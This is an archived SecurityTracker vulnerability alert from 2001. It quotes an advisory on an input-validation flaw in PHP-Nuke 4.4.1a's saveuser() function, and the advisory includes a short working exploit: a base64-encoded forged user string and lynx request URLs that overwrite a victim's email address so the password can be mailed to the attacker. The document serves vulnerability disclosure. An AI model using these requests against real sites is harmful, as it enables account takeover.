SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Web Server/CGI)  >   PHP-Nuke Vendors:   Phpnuke.org
PHP-Nuke Web Site Management Software Allows Unauthorized Commands to Be Executed
SecurityTracker Alert ID:  1000983
SecurityTracker URL:  http://securitytracker.com/id/1000983
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 2 2001
Impact:   Disclosure of authentication information, Disclosure of user information, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): 4.4.1a and possibly earlier versions
Description:   PHP-Nuke, an automated package for managing dynamically generated web sites on Linux, reportedy contains some input validation vulnerabilities that allow a remote attacker to execute unauthorized commands on the system.

Certain functions within PHP-Nuke do not perform adequate input validation such that an attacker can pass arbitrary iformation through to the MySQL query (MySQL is used by PHP-Nuke). The function "saveuser()" is one of those functions. There may be others.

A demonstration exploit is provided in the original report from the r0tten dev1ce Crew / Argentinian Security Group.

Impact:   An attacker can pass arbitrary information through to the MySQL server via the web server. For example, the attacker can change the e-mail address of one of the PHP-Nuke users and can request that the password be mailed to the changed e-mail address if the attacker knows or can guess the UID of the user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  phpnuke.org (Links to External Site)
Cause:   Access control error, Input validation error
Underlying OS:  Linux (Any)

Message History:   None.


 Source Message Contents

Subject:  PHPNUKE4.4.1a Advisory


                    r 0 t t e n  d e v 1 c e  C r e w
                          r0tten dev1ce Crew

            A r g e n t i n i a n  S e c u r i t y  G r o u p
                       Argentinian Security Group

<[( advisory )]>---------------------------------------<[( rdC270201.adv.en

Programa: PHP-NUKE
Vendor Homepage: http://www.phpnuke.org
Vendor Contacted: 27/feb/2001
Vendor Response: ??/??/??
Vendor Fix: ??/??/??
Version tested: 4.4.1a (latest version to date)
Found by: venomous
English translation: ka0z

- Problem description:
  ~~~~~~~~~~~~~~~~~~~~

The checks that are realized in the function saveuser() are not enough to
block abitrary information being passed to the query of MySQL.
[!] There are also many other functions that can be exploited the same way
described in the advisory. This adivisory describes only the function
saveuser().

- Impact:
  ~~~~~~~

It's possible for the attacker to change the e-mail address of one of the
users and ask for the password to be sent to the e-mail address that the
attacker have provided.
Of course this isn't easy since we do not know the UID of each of the
users, but this this type of information is easily obtained with
bruteforce checks.

- Exploit:
  ~~~~~~~~

powerhouse:~$ /bin/echo -e "0:<user>:2:3:4:5:6:7:8:eee" | uuencode -m f
begin-base64 644 f
MDpBbm9ueW1vdXM6MjozOjQ6NTo2Ojc6ODplZWUK     [***]

lynx http://victim/user.php?op=saveuser&user=[***]&uid=X&uname=<user>

The variables you can change the value are:

name='',email='', femail='', url='', bio='' , user_avatar='',
user_icq='', user_occ='', user_from='', user_intrest='', user_sig='',
user_aim='', user_yim='', user_msnm=''

In other words, if we want to change the e-mail address, we do:

lynx
http://victim/user.php&op=saveuser&user=[***]&uid=X&uname=<user>&email=
<email you want>

If you ask for the password to be sent to e-mail, you would be able to
access the account.

- Code:
  ~~~~~

Very simple script to demostrate the vulnerability:

You can get it from http://www.rdcrew.com.ar, code section.

- Fix:
  ~~~~

Wait for a patch from the author.


- Contact us:
  ~~~~~~~~~~~

Advisories, tools, IDS, texts and other stuff can be found at:
http://www.rdcrew.com.ar


venomous@rdcrew.com.ar

- Greets:
  ~~~~~~~

  people: ka0z, den0, E|Bruj0, storm, ab.
channels: #flatline at coredumped

[EOF]


 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2017, SecurityGlobal.net LLC